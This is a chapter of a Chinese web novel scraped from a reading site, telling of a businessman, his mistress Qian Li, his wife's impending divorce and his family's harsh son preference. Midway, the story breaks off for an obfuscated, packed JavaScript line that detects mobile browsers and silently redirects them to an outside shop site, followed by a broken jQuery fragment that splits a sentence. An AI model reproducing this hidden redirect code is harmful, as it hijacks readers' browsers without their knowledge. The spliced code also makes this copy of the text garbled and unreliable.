文趣网 > 其他小说 > 离婚从抢公章开始 > 7. 7、周扬在逃避
    “别赖我,就是有篓子也是你先捅出来的,你不和我好能有啥事?从一开始我就说了,既然不能狠心开除我就有这么一天。”钱丽将车钥匙扔到桌子上,坐到待客沙发上用毛巾擦湿漉漉的裤腿和鞋面。

    周扬不吭声,抓起车钥匙想回家,几次手抓住门把手又收了回来,重新掏出手机翻看通话记录,想从里面看出解决之道。

    钱丽不拦着他,在旁边抱臂冷笑。

    张露把所有账本堆到桌子上,觉得不够又悄悄搬了好几摞陈年账本,尽可能让自己消失。

    夭寿,公司的大雷要爆了。

    怎么偏偏就在她晋升的关键期啊!

    果然,她欠缺点运气,张露摸了摸脸上的胎记,想着她的名字糟糕透了,好事都会像露水一样在太阳下快速蒸发。

    明明她只是努力工作,活得却像一滴见不得阳光的露水。

    她猜测爆雷后,公司是东风压倒西风,还是西风压倒东风,她又该何去何从。

    哎,她又有什么选择呢?

    其他地方怎么可能会要她,出纳和会计是个很注重形象的工作,至少,在老板看来如此。

    她把头埋在高高堆砌的账本后,耳朵竖得老高,只听钱丽嘲讽地说:“急了?还是怕了?”

    “火烧屁股,你还说风凉话。”

    “早晚要面对的事,七年你都没准备好?”钱丽的眼睛眯了起来,“难道说你和我就是玩玩而已?我就那么上不了台面,你连想都没想过和我结婚?我不配当你老婆?”

    周扬好半天没有回话,在办公室里转来转去,几次三番到了门口却跨不出去。

    “哎,你说说你,也不给人一个准备时间。就算要说,也要等周琦考完再说啊!完蛋了,孟苗那么爱孩子,一定会恨死我了。”

    最后周扬抱着脑袋一屁股坐到了沙发上,车钥匙掉到脚边也没有力气去捡。

    “说不定现在老家的人都知道了,丢人丢大了。”

    钱丽翻了个白眼:“知道就知道呗,就你爸妈重男轻女的程度还能真骂你?他们会给你找好理由,反正他们一直不喜欢孟苗,认为她拐走了你又不肯给亲戚在公司里安排一个清闲有钱的职务让他们没面子。”

    周扬生在一个极度重男轻女的家庭,上头三个姐姐,下头一个妹妹,三个姐姐都被周母打着为了周扬的名义嫁出去换取了高额彩礼和学车入厂的资源。

    被父母过度偏爱的周扬却没有沾染上大男子主义,工作后一直偷偷供妹妹继续读书。在他母亲要把还在读书的妹妹嫁出去换取高额彩礼后,周扬进行了人生中第一次叛逆。

    在告诉父母孟苗不要彩礼却仍然无法阻止他们‘卖女儿’的想法后,周扬偷出户口本偷偷和孟苗登记结婚后,辞职到了新疆。

    这也是钱丽愿意在周扬身上下赌注的主要原因,不光因为他欣赏她的才华,她发现了周扬身上的闪光点。周扬是个好人,他的底色同样闪闪发光。他胆小懦弱只是因为小时候只要不听父母的话就会看着姐姐妹妹被父母用竹条使劲抽,怕了,被吓破了胆。

    周扬说过,他最怕看到的就是他妈阴郁的脸和姐妹怯怯哭泣的样子,那让他觉得他活着都在造孽。

    所以,他不自信,但因此愿意听别人的话。

    钱丽始终认为,周扬的无能并非天生,而是被他那个重男轻女的家庭卡住了上限,否则周扬在没有孟苗的情况一定也能走到如今的高度。他是一块被父母毁掉的璞玉,一个被重男轻女反噬的男人。

    “你不懂,我爸妈可宝贝周琦了,那是他们的大孙子。”

    钱丽还真不懂:“大孙子再好能比得上亲生的?隔层肚皮隔层山,信不信,你爸妈再重男轻女,大孙子也比不上他们的亲闺女。你和你妹妹关系好,让她去给你爸妈敲敲边鼓,现在他们是你妹负责养老,他们哪敢不听你妹的话。”

    周扬诧异地看向钱丽:“看样子你是真不懂,也对,你爸妈和你哥砸锅卖铁也要供你上大学,你是天之骄子。”

    钱丽赶了个巧,考大学时正好国家开始全面缴费上大学,一年3000多块的学费加上生活费等等让一个人均收入只有四百多块的普通人家得砸锅卖铁才上得起。

    更不巧的是,那几年兵团开始自负盈亏发不下来工资,最后是钱丽的哥哥辞掉汽车连的工作去沿海城市打工寄回来的学费,连对象都是在那边找的,据说是入赘。

    这样的钱丽见过最严重的重男轻女也不过是在不收彩礼的情况下只给女儿几床新新被子当嫁妆,哪里见识过那种扭曲人性的重男轻女。

    她根本想象不到,一个女人会不爱自己生的女儿,会作贱同为女性的女儿,会对亲生女儿做出无数次最恶毒的诅咒。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837670|211516||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她和孟苗都幸运的生活在一个重男轻女会被当成为落后分子批判的地方,会有指导员不停地做思想工作,以至于孟苗18岁时还会单纯的问他绝户是什么意思。

    钱丽就讨厌周扬这副她不懂的模样,想开口反驳,见到周扬烦闷地样子到底闭上了嘴,她知道周扬懦弱,需要给他接受的时间。

    但心头的那股子气没出来憋得难受,四下一扫,发现张露还在,竖起眉毛:“小张,日清日结做完了吗?”

    “做、做完了。”

    “那这些账本是?”

    “我拿出来学习学习,熟悉业务。”张露对答如流,暗叫不妙,钱丽发起火很吓人的。

    “下大雨,你早点下班。”钱丽到底不愿意让张露多看笑话,打发走了人。

    张露如获大赦,拎起包就走。

    等张露走了好一阵,钱丽见周扬仍然没有下定决心,缓和了口吻说:“德行!你现在要么就赶紧去和孟苗说你要和她离婚,我和你一起。要不你就赶紧滚回去认错,她一直没来电话,可能在想要不要原谅你,二十年的夫妻,我就知道你们没那么容易离。”

    周扬瑟缩了一下,问:“你会离开吗?”

    “哟,知道关心我,舍不得?”

    “……我……”

    “行了,别说了,既然不敢回就先跟我回家。”见周扬胆小不敢挪脚的样子,钱丽气不打一处来,“回东方花园那个家,瞧把你吓的。”

    “孟苗那边……”周扬的大脑已经开始罢工。

    “等着最终宣判吧!她要离婚会通知你,要是她当做什么都不知道就是不想离婚,你就和她继续稀里糊涂过下去吧!”

    钱丽越说越气,踩了周扬一脚,带他离开了办公室。

    另一头,孟苗一夜没睡,她一直在等周扬的电话。

    虽然已经做了离婚的决定,但结婚20年,她努力说服自己给周扬一个机会。她从一开始就是知道周扬的软弱和不懂拒绝,预料到可能会有这么一天,只是当时她选择信任。

    能够偷户口本出来,和父母断亲都要和她结婚,千里迢迢来到新疆,支持她事业的周扬,也辜负了她的信任。

    她的心一点点随着渐渐升起的太阳冷了下来。

    整整一夜,周扬没有打来电话,没有给她一句解释,连狡辩都没有。